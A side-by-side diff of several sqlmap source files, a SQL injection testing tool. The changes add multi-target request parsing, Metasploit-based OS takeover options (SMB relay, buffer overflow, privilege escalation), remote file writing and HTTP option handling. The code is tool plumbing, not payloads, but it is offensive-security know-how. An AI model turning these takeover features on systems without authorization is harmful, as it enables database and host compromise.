@@ -254,20 +253,22 @@ class Dump:
for column in columns: for column in columns:
if column != "__infos__": if column != "__infos__":
info = tableValues[column] info = tableValues[column]
maxlength = int(info["length"]) maxlength = int(info["length"])
blank = " " * (maxlength - len(column)) blank = " " * (maxlength - len(column))
self.__write("| %s%s" % (column, blank), n=False) self.__write("| %s%s" % (column, blank), n=False)
if not conf.googleDork and field == fields: if not conf.multipleTargets and field == fields:
dataToDumpFile(dumpFP, "\"%s\"" % column) dataToDumpFile(dumpFP, "\"%s\"" % column)
else: elif not conf.multipleTargets:
dataToDumpFile(dumpFP, "\"%s\"," % column) dataToDumpFile(dumpFP, "\"%s\"," % column)
field += 1 field += 1
self.__write("|\n%s" % separator) self.__write("|\n%s" % separator)
if not conf.googleDork:
if not conf.multipleTargets:
dataToDumpFile(dumpFP, "\n") dataToDumpFile(dumpFP, "\n")
for i in range(count): for i in range(count):
@@ -285,20 +286,21 @@ class Dump:
blank = " " * (maxlength - len(value)) blank = " " * (maxlength - len(value))
self.__write("| %s%s" % (value, blank), n=False) self.__write("| %s%s" % (value, blank), n=False)
if field == fields: if not conf.multipleTargets and field == fields:
dataToDumpFile(dumpFP, "\"%s\"" % value) dataToDumpFile(dumpFP, "\"%s\"" % value)
else: elif not conf.multipleTargets:
dataToDumpFile(dumpFP, "\"%s\"," % value) dataToDumpFile(dumpFP, "\"%s\"," % value)
field += 1 field += 1
self.__write("|") self.__write("|")
if not conf.googleDork:
if not conf.multipleTargets:
dataToDumpFile(dumpFP, "\n") dataToDumpFile(dumpFP, "\n")
self.__write("%s\n" % separator) self.__write("%s\n" % separator)
if not conf.googleDork: if not conf.multipleTargets:
dataToDumpFile(dumpFP, "\n") dataToDumpFile(dumpFP, "\n")
dumpFP.close() dumpFP.close()

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -24,8 +24,8 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import sys from lib.core.settings import PLATFORM
from lib.core.settings import PYVERSION
from lib.core.settings import VERSION from lib.core.settings import VERSION
from lib.core.settings import VERSION_STRING from lib.core.settings import VERSION_STRING
@@ -74,6 +74,10 @@ class sqlmapNotVulnerableException(Exception):
pass pass
class sqlmapThreadException(Exception):
pass
class sqlmapUnsupportedDBMSException(Exception): class sqlmapUnsupportedDBMSException(Exception):
pass pass
@@ -89,10 +93,10 @@ class sqlmapValueException(Exception):
def unhandledException(): def unhandledException():
errMsg = "unhandled exception in %s, please copy " % VERSION_STRING errMsg = "unhandled exception in %s, please copy " % VERSION_STRING
errMsg += "the command line and the following text and send by e-mail " errMsg += "the command line and the following text and send by e-mail "
errMsg += "to bernardo.damele@gmail.com. I will fix it as soon as " errMsg += "to sqlmap-users@lists.sourceforge.net. The developer will "
errMsg += "possible:\nsqlmap version: %s\n" % VERSION errMsg += "fix it as soon as possible:\nsqlmap version: %s\n" % VERSION
errMsg += "Python version: %s\n" % sys.version.split()[0] errMsg += "Python version: %s\n" % PYVERSION
errMsg += "Operating system: %s" % sys.platform errMsg += "Operating system: %s" % PLATFORM
return errMsg return errMsg
@@ -108,6 +112,7 @@ exceptionsTuple = (
sqlmapUndefinedMethod, sqlmapUndefinedMethod,
sqlmapMissingPrivileges, sqlmapMissingPrivileges,
sqlmapNotVulnerableException, sqlmapNotVulnerableException,
sqlmapThreadException,
sqlmapUnsupportedDBMSException, sqlmapUnsupportedDBMSException,
sqlmapUnsupportedFeatureException, sqlmapUnsupportedFeatureException,
sqlmapValueException, sqlmapValueException,

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -25,18 +25,21 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import cookielib import cookielib
import ctypes
import difflib
import logging import logging
import os import os
import re import re
import time import socket
import urllib2 import urllib2
import urlparse import urlparse
from ConfigParser import ConfigParser
from lib.core.common import getFileType
from lib.core.common import parseTargetUrl from lib.core.common import parseTargetUrl
from lib.core.common import paths from lib.core.common import paths
from lib.core.common import randomRange from lib.core.common import randomRange
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.common import sanitizeStr from lib.core.common import sanitizeStr
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
@@ -45,13 +48,20 @@ from lib.core.data import paths
from lib.core.datatype import advancedDict from lib.core.datatype import advancedDict
from lib.core.exception import sqlmapFilePathException from lib.core.exception import sqlmapFilePathException
from lib.core.exception import sqlmapGenericException from lib.core.exception import sqlmapGenericException
from lib.core.exception import sqlmapMissingMandatoryOptionException
from lib.core.exception import sqlmapMissingPrivileges
from lib.core.exception import sqlmapSyntaxException from lib.core.exception import sqlmapSyntaxException
from lib.core.exception import sqlmapUnsupportedDBMSException from lib.core.exception import sqlmapUnsupportedDBMSException
from lib.core.optiondict import optDict from lib.core.optiondict import optDict
from lib.core.settings import MSSQL_ALIASES from lib.core.settings import MSSQL_ALIASES
from lib.core.settings import MYSQL_ALIASES from lib.core.settings import MYSQL_ALIASES
from lib.core.settings import PGSQL_ALIASES
from lib.core.settings import ORACLE_ALIASES
from lib.core.settings import IS_WIN
from lib.core.settings import PLATFORM
from lib.core.settings import SITE from lib.core.settings import SITE
from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import SUPPORTED_DBMS
from lib.core.settings import SUPPORTED_OS
from lib.core.settings import VERSION_STRING from lib.core.settings import VERSION_STRING
from lib.core.update import update from lib.core.update import update
from lib.parse.configfile import configFileParser from lib.parse.configfile import configFileParser
@@ -81,6 +91,133 @@ def __urllib2Opener():
urllib2.install_opener(opener) urllib2.install_opener(opener)
def __feedTargetsDict(reqFile, addedTargetUrls):
fp = open(reqFile, "r")
fread = fp.read()
fread = fread.replace("\r", "")
reqResList = fread.split("======================================================")
port = None
scheme = None
for request in reqResList:
if scheme is None:
schemePort = re.search("\d\d[\:|\.]\d\d[\:|\.]\d\d\s+(http[\w]*)\:\/\/.*?\:([\d]+)", request, re.I)
if schemePort:
scheme = schemePort.group(1)
port = schemePort.group(2)
if not re.search ("^[\n]*(GET|POST).*?\sHTTP\/", request, re.I):
continue
if re.search("^[\n]*(GET|POST).*?\.(gif|jpg|png)\sHTTP\/", request, re.I):
continue
getPostReq = False
url = None
host = None
method = None
data = None
cookie = None
params = False
lines = request.split("\n")
for line in lines:
if len(line) == 0 or line == "\n":
continue
if line.startswith("GET ") or line.startswith("POST "):
if line.startswith("GET "):
index = 4
else:
index = 5
url = line[index:line.index(" HTTP/")]
method = line[:index-1]
if "?" in line and "=" in line:
params = True
getPostReq = True
# GET parameters
elif "?" in line and "=" in line and ": " not in line:
data = line
params = True
# Cookie and Host headers
elif ": " in line:
key, value = line.split(": ", 1)
if key.lower() == "cookie":
cookie = value
elif key.lower() == "host":
host = value
# POST parameters
elif method is not None and method == "POST" and "=" in line:
data = line
params = True
if getPostReq and params:
if not url.startswith("http"):
url = "%s://%s:%s%s" % (scheme or "http", host, port or "80", url)
scheme = None
port = None
if not kb.targetUrls or url not in addedTargetUrls:
kb.targetUrls.add(( url, method, data, cookie ))
addedTargetUrls.add(url)
def __setMultipleTargets():
"""
Define a configuration parameter if we are running in multiple target
mode.
"""
initialTargetsCount = len(kb.targetUrls)
addedTargetUrls = set()
if not conf.list:
return
debugMsg = "parsing targets list from '%s'" % conf.list
logger.debug(debugMsg)
if not os.path.exists(conf.list):
errMsg = "the specified list of targets does not exist"
raise sqlmapFilePathException, errMsg
if os.path.isfile(conf.list):
__feedTargetsDict(conf.list, addedTargetUrls)
elif os.path.isdir(conf.list):
files = os.listdir(conf.list)
files.sort()
for reqFile in files:
if not re.search("([\d]+)\-request", reqFile):
continue
__feedTargetsDict(os.path.join(conf.list, reqFile), addedTargetUrls)
else:
errMsg = "the specified list of targets is not a file "
errMsg += "nor a directory"
raise sqlmapFilePathException, errMsg
updatedTargetsCount = len(kb.targetUrls)
if updatedTargetsCount > initialTargetsCount:
infoMsg = "sqlmap parsed %d " % (updatedTargetsCount - initialTargetsCount)
infoMsg += "testable requests from the targets list"
logger.info(infoMsg)
def __setGoogleDorking(): def __setGoogleDorking():
""" """
This function checks if the way to request testable hosts is through This function checks if the way to request testable hosts is through
@@ -109,7 +246,7 @@ def __setGoogleDorking():
errMsg += "Google dork expression" errMsg += "Google dork expression"
raise sqlmapGenericException, errMsg raise sqlmapGenericException, errMsg
kb.targetUrls = googleObj.getTargetUrls() googleObj.getTargetUrls()
if kb.targetUrls: if kb.targetUrls:
logMsg = "sqlmap got %d results for your " % len(matches) logMsg = "sqlmap got %d results for your " % len(matches)
@@ -120,7 +257,7 @@ def __setGoogleDorking():
else: else:
logMsg += "%d " % len(kb.targetUrls) logMsg += "%d " % len(kb.targetUrls)
logMsg += "of them are testable hosts" logMsg += "of them are testable targets"
logger.info(logMsg) logger.info(logMsg)
else: else:
errMsg = "sqlmap got %d results " % len(matches) errMsg = "sqlmap got %d results " % len(matches)
@@ -129,9 +266,194 @@ def __setGoogleDorking():
raise sqlmapGenericException, errMsg raise sqlmapGenericException, errMsg
def __setRemoteDBMS(): def __setMetasploit():
if not conf.osPwn and not conf.osSmb and not conf.osBof:
return
debugMsg = "setting the takeover out-of-band functionality"
logger.debug(debugMsg)
msfEnvPathExists = False
if IS_WIN is True:
warnMsg = "Metasploit's msfconsole and msfcli are not supported "
warnMsg += "on the native Windows Ruby interpreter. Please "
warnMsg += "install Metasploit, Python interpreter and sqlmap on "
warnMsg += "Cygwin or use Linux in VMWare to use sqlmap takeover "
warnMsg += "out-of-band features. sqlmap will now continue "
warnMsg += "without calling any takeover feature"
logger.warn(warnMsg)
conf.osPwn = None
conf.osSmb = None
conf.osBof = None
return
if conf.osSmb:
isAdmin = False
if "linux" in PLATFORM or "darwin" in PLATFORM:
isAdmin = os.geteuid()
if isinstance(isAdmin, (int, float, long)) and isAdmin == 0:
isAdmin = True
elif IS_WIN is True:
isAdmin = ctypes.windll.shell32.IsUserAnAdmin()
if isinstance(isAdmin, (int, float, long)) and isAdmin == 1:
isAdmin = True
else:
warnMsg = "sqlmap is not able to check if you are running it "
warnMsg += "as an Administrator accout on this platform. "
warnMsg += "sqlmap will assume that you are an Administrator "
warnMsg += "which is mandatory for the SMB relay attack to "
warnMsg += "work properly"
logger.warn(warnMsg)
isAdmin = True
if isAdmin is not True:
errMsg = "you need to run sqlmap as an Administrator/root "
errMsg += "user if you want to perform a SMB relay attack "
errMsg += "because it will need to listen on a user-specified "
errMsg += "SMB TCP port for incoming connection attempts"
raise sqlmapMissingPrivileges, errMsg
if conf.msfPath:
condition = os.path.exists(os.path.normpath(conf.msfPath))
condition &= os.path.exists(os.path.normpath("%s/msfcli" % conf.msfPath))
condition &= os.path.exists(os.path.normpath("%s/msfconsole" % conf.msfPath))
condition &= os.path.exists(os.path.normpath("%s/msfencode" % conf.msfPath))
condition &= os.path.exists(os.path.normpath("%s/msfpayload" % conf.msfPath))
if condition:
debugMsg = "provided Metasploit Framework 3 path "
debugMsg += "'%s' is valid" % conf.msfPath
logger.debug(debugMsg)
msfEnvPathExists = True
else:
warnMsg = "the provided Metasploit Framework 3 path "
warnMsg += "'%s' is not valid. The cause could " % conf.msfPath
warnMsg += "be that the path does not exists or that one "
warnMsg += "or more of the needed Metasploit executables "
warnMsg += "within msfcli, msfconsole, msfencode and "
warnMsg += "msfpayload do not exist"
logger.warn(warnMsg)
else:
warnMsg = "you did not provide the local path where Metasploit "
warnMsg += "Framework 3 is installed"
logger.warn(warnMsg)
if msfEnvPathExists != True:
warnMsg = "sqlmap is going to look for Metasploit Framework 3 "
warnMsg += "installation into the environment paths"
logger.warn(warnMsg)
envPaths = os.environ["PATH"]
if IS_WIN is True:
envPaths = envPaths.split(";")
else:
envPaths = envPaths.split(":")
for envPath in envPaths:
envPath = envPath.replace(";", "")
condition = os.path.exists(os.path.normpath(envPath))
condition &= os.path.exists(os.path.normpath("%s/msfcli" % envPath))
condition &= os.path.exists(os.path.normpath("%s/msfconsole" % envPath))
condition &= os.path.exists(os.path.normpath("%s/msfencode" % envPath))
condition &= os.path.exists(os.path.normpath("%s/msfpayload" % envPath))
if condition:
infoMsg = "Metasploit Framework 3 has been found "
infoMsg += "installed in the '%s' path" % envPath
logger.info(infoMsg)
msfEnvPathExists = True
conf.msfPath = envPath
break
if msfEnvPathExists != True:
errMsg = "unable to locate Metasploit Framework 3 installation. "
errMsg += "Get it from http://metasploit.com/framework/download/"
raise sqlmapFilePathException, errMsg
def __setWriteFile():
if not conf.wFile:
return
debugMsg = "setting the write file functionality"
logger.debug(debugMsg)
if not os.path.exists(conf.wFile):
errMsg = "the provided local file '%s' does not exist" % conf.wFile
raise sqlmapFilePathException, errMsg
if not conf.dFile:
errMsg = "you did not provide the back-end DBMS absolute path "
errMsg += "where you want to write the local file '%s'" % conf.wFile
raise sqlmapMissingMandatoryOptionException, errMsg
conf.wFileType = getFileType(conf.wFile)
def __setUnionTech():
if conf.uTech == None:
conf.uTech = "NULL"
return
debugMsg = "setting the UNION query SQL injection detection technique"
logger.debug(debugMsg)
uTechOriginal = conf.uTech
conf.uTech = conf.uTech.lower()
if conf.uTech and conf.uTech not in ( "null", "orderby" ):
infoMsg = "resetting the UNION query detection technique to "
infoMsg += "'NULL', '%s' is not a valid technique" % uTechOriginal
logger.info(infoMsg)
conf.uTech = "NULL"
else:
debugMsg = "setting UNION query detection technique to "
debugMsg += "'%s'" % uTechOriginal
logger.debug(debugMsg)
def __setOS():
""" """
Checks and set the back-end DBMS option. Force the back-end DBMS operating system option.
"""
if not conf.os:
return
debugMsg = "forcing back-end DBMS operating system to user defined value"
logger.debug(debugMsg)
conf.os = conf.os.lower()
if conf.os not in SUPPORTED_OS:
errMsg = "you provided an unsupported back-end DBMS operating "
errMsg += "system. The supported DBMS operating systems for OS "
errMsg += "and file system access are Linux and Windows. "
errMsg += "If you do not know the back-end DBMS underlying OS, "
errMsg += "do not provide it and sqlmap will fingerprint it for "
errMsg += "you."
raise sqlmapUnsupportedDBMSException, errMsg
def __setDBMS():
"""
Force the back-end DBMS option.
""" """
if not conf.dbms: if not conf.dbms:
@@ -141,13 +463,15 @@ def __setRemoteDBMS():
logger.debug(debugMsg) logger.debug(debugMsg)
conf.dbms = conf.dbms.lower() conf.dbms = conf.dbms.lower()
firstRegExp = "(%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]), firstRegExp = "(%s|%s|%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
"|".join([alias for alias in MYSQL_ALIASES])) "|".join([alias for alias in MYSQL_ALIASES]),
"|".join([alias for alias in PGSQL_ALIASES]),
"|".join([alias for alias in ORACLE_ALIASES]))
dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, conf.dbms) dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, conf.dbms)
if dbmsRegExp: if dbmsRegExp:
conf.dbms = dbmsRegExp.group(1) conf.dbms = dbmsRegExp.group(1)
kb.dbmsVersion = [dbmsRegExp.group(2)] kb.dbmsVersion = [ dbmsRegExp.group(2) ]
if conf.dbms not in SUPPORTED_DBMS: if conf.dbms not in SUPPORTED_DBMS:
errMsg = "you provided an unsupported back-end database management " errMsg = "you provided an unsupported back-end database management "
@@ -159,7 +483,7 @@ def __setRemoteDBMS():
def __setThreads(): def __setThreads():
if conf.threads <= 0: if not isinstance(conf.threads, int) or conf.threads <= 0:
conf.threads = 1 conf.threads = 1
@@ -173,8 +497,6 @@ def __setHTTPProxy():
if not conf.proxy: if not conf.proxy:
return return
parseTargetUrl()
debugMsg = "setting the HTTP proxy to pass by all HTTP requests" debugMsg = "setting the HTTP proxy to pass by all HTTP requests"
logger.debug(debugMsg) logger.debug(debugMsg)
@@ -196,8 +518,8 @@ def __setHTTPProxy():
# Workaround for http://bugs.python.org/issue1424152 (urllib/urllib2: # Workaround for http://bugs.python.org/issue1424152 (urllib/urllib2:
# HTTPS over (Squid) Proxy fails) as long as HTTP over SSL requests # HTTPS over (Squid) Proxy fails) as long as HTTP over SSL requests
# can't be tunneled over an HTTP proxy natively by Python urllib2 # can't be tunneled over an HTTP proxy natively by Python (<= 2.5)
# standard library # urllib2 standard library
if conf.scheme == "https": if conf.scheme == "https":
proxyHandler = ProxyHTTPSHandler(__proxyString) proxyHandler = ProxyHTTPSHandler(__proxyString)
else: else:
@@ -225,8 +547,6 @@ def __setHTTPAuthentication():
errMsg += "but did not provide the type" errMsg += "but did not provide the type"
raise sqlmapSyntaxException, errMsg raise sqlmapSyntaxException, errMsg
parseTargetUrl()
debugMsg = "setting the HTTP Authentication type and credentials" debugMsg = "setting the HTTP Authentication type and credentials"
logger.debug(debugMsg) logger.debug(debugMsg)
@@ -262,9 +582,6 @@ def __setHTTPMethod():
""" """
if conf.method: if conf.method:
debugMsg = "setting the HTTP method to perform HTTP requests through"
logger.debug(debugMsg)
conf.method = conf.method.upper() conf.method = conf.method.upper()
if conf.method not in ("GET", "POST"): if conf.method not in ("GET", "POST"):
@@ -277,6 +594,31 @@ def __setHTTPMethod():
else: else:
conf.method = "GET" conf.method = "GET"
debugMsg = "setting the HTTP method to %s" % conf.method
logger.debug(debugMsg)
def __setHTTPExtraHeaders():
if conf.hostname:
conf.httpHeaders.append(("Host", conf.hostname))
if conf.headers:
debugMsg = "setting extra HTTP headers"
logger.debug(debugMsg)
conf.headers = conf.headers.split("\n")
for headerValue in conf.headers:
header, value = headerValue.split(": ")
if header and value:
conf.httpHeaders.append((header, value))
else:
conf.httpHeaders.append(("Accept", "text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5"))
conf.httpHeaders.append(("Accept-Language", "en-us,en;q=0.5"))
conf.httpHeaders.append(("Accept-Charset", "ISO-8859-15,utf-8;q=0.7,*;q=0.7"))
def __defaultHTTPUserAgent(): def __defaultHTTPUserAgent():
""" """
@@ -286,6 +628,13 @@ def __defaultHTTPUserAgent():
return "%s (%s)" % (VERSION_STRING, SITE) return "%s (%s)" % (VERSION_STRING, SITE)
# Firefox 3 running on Ubuntu 9.04 updated at April 2009
#return "Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9"
# Internet Explorer 7.0 running on Windows 2003 Service Pack 2 english
# updated at March 2009
#return "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"
def __setHTTPUserAgent(): def __setHTTPUserAgent():
""" """
@@ -376,6 +725,29 @@ def __setHTTPCookies():
conf.httpHeaders.append(("Cookie", conf.cookie)) conf.httpHeaders.append(("Cookie", conf.cookie))
def __setHTTPTimeout():
"""
Set the HTTP timeout
"""
if conf.timeout:
debugMsg = "setting the HTTP timeout"
logger.debug(debugMsg)
conf.timeout = float(conf.timeout)
if conf.timeout < 3.0:
warnMsg = "the minimum HTTP timeout is 3 seconds, sqlmap "
warnMsg += "will going to reset it"
logger.warn(warnMsg)
conf.timeout = 3.0
else:
conf.timeout = 30.0
socket.setdefaulttimeout(conf.timeout)
def __cleanupOptions(): def __cleanupOptions():
""" """
Cleanup configuration attributes. Cleanup configuration attributes.
@@ -402,6 +774,27 @@ def __cleanupOptions():
if conf.user: if conf.user:
conf.user = conf.user.replace(" ", "") conf.user = conf.user.replace(" ", "")
if conf.delay:
conf.delay = float(conf.delay)
if conf.rFile:
conf.rFile = os.path.normpath(conf.rFile.replace("\\", "/"))
if conf.wFile:
conf.wFile = os.path.normpath(conf.wFile.replace("\\", "/"))
if conf.dFile:
conf.dFile = os.path.normpath(conf.dFile.replace("\\", "/"))
if conf.msfPath:
conf.msfPath = os.path.normpath(conf.msfPath.replace("\\", "/"))
if conf.tmpPath:
conf.tmpPath = os.path.normpath(conf.tmpPath.replace("\\", "/"))
if conf.googleDork or conf.list:
conf.multipleTargets = True
def __setConfAttributes(): def __setConfAttributes():
""" """
@@ -412,20 +805,30 @@ def __setConfAttributes():
debugMsg = "initializing the configuration" debugMsg = "initializing the configuration"
logger.debug(debugMsg) logger.debug(debugMsg)
conf.cj = None conf.cj = None
conf.dbmsHandler = None conf.dbmsHandler = None
conf.dumpPath = None conf.dumpPath = None
conf.httpHeaders = [] conf.httpHeaders = []
conf.hostname = None conf.hostname = None
conf.loggedToOut = None conf.loggedToOut = None
conf.outputPath = None conf.matchRatio = None
conf.paramDict = {} conf.md5hash = None
conf.parameters = {} conf.multipleTargets = False
conf.path = None conf.outputPath = None
conf.port = None conf.paramDict = {}
conf.scheme = None conf.parameters = {}
conf.sessionFP = None conf.paramFalseCond = False
conf.start = True conf.paramNegative = False
conf.path = None
conf.port = None
conf.retriesCount = 0
conf.scheme = None
#conf.seqMatcher = difflib.SequenceMatcher(lambda x: x in " \t")
conf.seqMatcher = difflib.SequenceMatcher(None)
conf.sessionFP = None
conf.start = True
conf.threadException = False
conf.wFileType = None
def __setKnowledgeBaseAttributes(): def __setKnowledgeBaseAttributes():
@@ -438,18 +841,36 @@ def __setKnowledgeBaseAttributes():
logger.debug(debugMsg) logger.debug(debugMsg)
kb.absFilePaths = set() kb.absFilePaths = set()
kb.defaultResult = None kb.bannerFp = advancedDict()
kb.docRoot = None kb.data = advancedDict()
# Basic back-end DBMS fingerprint
kb.dbms = None kb.dbms = None
kb.dbmsDetected = False kb.dbmsDetected = False
kb.dbmsVersion = None
# Active (extensive) back-end DBMS fingerprint
kb.dbmsVersion = []
kb.dep = None
kb.docRoot = None
kb.headersCount = 0
kb.headersFp = {}
kb.htmlFp = [] kb.htmlFp = []
kb.injParameter = None kb.injParameter = None
kb.injPlace = None kb.injPlace = None
kb.injType = None kb.injType = None
# Back-end DBMS underlying operating system fingerprint via banner (-b)
# parsing or when knowing the OS is mandatory (i.g. dealing with DEP)
kb.os = None
kb.osVersion = None
kb.osSP = None
kb.parenthesis = None kb.parenthesis = None
kb.resumedQueries = {} kb.resumedQueries = {}
kb.stackedTest = None
kb.targetUrls = set() kb.targetUrls = set()
kb.timeTest = None
kb.unionComment = "" kb.unionComment = ""
kb.unionCount = None kb.unionCount = None
kb.unionPosition = None kb.unionPosition = None
@@ -467,6 +888,7 @@ def __saveCmdline():
debugMsg = "saving command line options on a sqlmap configuration INI file" debugMsg = "saving command line options on a sqlmap configuration INI file"
logger.debug(debugMsg) logger.debug(debugMsg)
config = ConfigParser()
userOpts = {} userOpts = {}
for family in optDict.keys(): for family in optDict.keys():
@@ -477,10 +899,8 @@ def __saveCmdline():
if option in optionData: if option in optionData:
userOpts[family].append((option, value, optionData[option])) userOpts[family].append((option, value, optionData[option]))
confFP = open(paths.SQLMAP_CONFIG, "w")
for family, optionData in userOpts.items(): for family, optionData in userOpts.items():
confFP.write("[%s]\n" % family) config.add_section(family)
optionData.sort() optionData.sort()
@@ -488,20 +908,23 @@ def __saveCmdline():
if value == None: if value == None:
if datatype == "boolean": if datatype == "boolean":
value = "False" value = "False"
elif datatype == "integer": elif datatype in ( "integer", "float" ):
if option == "threads": if option in ( "threads", "verbose" ):
value = "1" value = "1"
elif option == "timeout":
value = "10"
else: else:
value = "0" value = "0"
elif datatype == "string": elif datatype == "string":
value = "" value = ""
confFP.write("%s = %s\n" % (option, value)) if isinstance(value, str):
value = value.replace("\n", "\n ")
confFP.write("\n") config.set(family, option, value)
confFP.flush() confFP = open(paths.SQLMAP_CONFIG, "wb")
confFP.close() config.write(confFP)
infoMsg = "saved command line options on '%s' configuration file" % paths.SQLMAP_CONFIG infoMsg = "saved command line options on '%s' configuration file" % paths.SQLMAP_CONFIG
logger.info(infoMsg) logger.info(infoMsg)
@@ -512,13 +935,12 @@ def __setVerbosity():
This function set the verbosity of sqlmap output messages. This function set the verbosity of sqlmap output messages.
""" """
if not conf.verbose: if conf.verbose == None:
conf.verbose = 0 conf.verbose = 1
return
conf.verbose = int(conf.verbose) conf.verbose = int(conf.verbose)
if conf.verbose <= 1: if conf.verbose == 1:
logger.setLevel(logging.INFO) logger.setLevel(logging.INFO)
elif conf.verbose > 1 and conf.eta: elif conf.verbose > 1 and conf.eta:
conf.verbose = 1 conf.verbose = 1
@@ -542,7 +964,12 @@ def __mergeOptions(inputOptions):
if inputOptions.configFile: if inputOptions.configFile:
configFileParser(inputOptions.configFile) configFileParser(inputOptions.configFile)
for key, value in inputOptions.__dict__.items(): if hasattr(inputOptions, "items"):
inputOptionsItems = inputOptions.items()
else:
inputOptionsItems = inputOptions.__dict__.items()
for key, value in inputOptionsItems:
if not conf.has_key(key) or conf[key] == None or value != None: if not conf.has_key(key) or conf[key] == None or value != None:
conf[key] = value conf[key] = value
@@ -559,15 +986,25 @@ def init(inputOptions=advancedDict()):
__setConfAttributes() __setConfAttributes()
__setKnowledgeBaseAttributes() __setKnowledgeBaseAttributes()
__cleanupOptions() __cleanupOptions()
parseTargetUrl()
__setHTTPTimeout()
__setHTTPCookies() __setHTTPCookies()
__setHTTPReferer() __setHTTPReferer()
__setHTTPUserAgent() __setHTTPUserAgent()
__setHTTPExtraHeaders()
__setHTTPMethod() __setHTTPMethod()
__setHTTPAuthentication() __setHTTPAuthentication()
__setHTTPProxy() __setHTTPProxy()
__setThreads() __setThreads()
__setRemoteDBMS() __setDBMS()
__setOS()
__setUnionTech()
__setWriteFile()
__setMetasploit()
__setGoogleDorking() __setGoogleDorking()
__setMultipleTargets()
__urllib2Opener() __urllib2Opener()
update() update()

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -25,26 +25,47 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
optDict = { optDict = {
# Family: { "parameter_name": "parameter_datatype", # Family: { "parameter_name": "parameter_datatype" },
"Request": { "Target": {
"url": "string", "url": "string",
"list": "string",
"googleDork": "string", "googleDork": "string",
"testParameter": "string", },
"Request": {
"method": "string", "method": "string",
"data": "string", "data": "string",
"cookie": "string", "cookie": "string",
"referer": "string", "referer": "string",
"agent": "string", "agent": "string",
"userAgentsFile": "string", "userAgentsFile": "string",
"headers": "string",
"aType": "string", "aType": "string",
"aCred": "string", "aCred": "string",
"proxy": "string", "proxy": "string",
"threads": "integer", "threads": "integer",
"delay": "float",
"timeout": "float",
}, },
"Injection": { "Injection": {
"string": "string", "testParameter": "string",
"dbms": "string", "dbms": "string",
"os": "string",
"prefix": "string",
"postfix": "string",
"string": "string",
"regexp": "string",
"eString": "string",
"eRegexp": "string",
},
"Techniques": {
"stackedTest": "boolean",
"timeTest": "boolean",
"unionTest": "boolean",
"uTech": "string",
"unionUse": "boolean",
}, },
"Fingerprint": { "Fingerprint": {
@@ -55,6 +76,7 @@ optDict = {
"getBanner": "boolean", "getBanner": "boolean",
"getCurrentUser": "boolean", "getCurrentUser": "boolean",
"getCurrentDb": "boolean", "getCurrentDb": "boolean",
"isDba": "boolean",
"getUsers": "boolean", "getUsers": "boolean",
"getPasswordHashes": "boolean", "getPasswordHashes": "boolean",
"getPrivileges": "boolean", "getPrivileges": "boolean",
@@ -77,19 +99,26 @@ optDict = {
"File system": { "File system": {
"rFile": "string", "rFile": "string",
"wFile": "string", "wFile": "string",
"dFile": "string",
}, },
"Takeover": { "Takeover": {
"osCmd": "string",
"osShell": "boolean", "osShell": "boolean",
"osPwn": "boolean",
"osSmb": "boolean",
"osBof": "boolean",
"privEsc": "boolean",
"msfPath": "string",
"tmpPath": "string",
}, },
"Miscellaneous": { "Miscellaneous": {
"unionTest": "boolean",
"unionUse": "boolean",
"eta": "boolean", "eta": "boolean",
"verbose": "integer", "verbose": "integer",
"updateAll": "boolean", "updateAll": "boolean",
"sessionFile": "string", "sessionFile": "string",
"batch": "boolean", "batch": "boolean",
"cleanup": "boolean",
}, },
} }

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
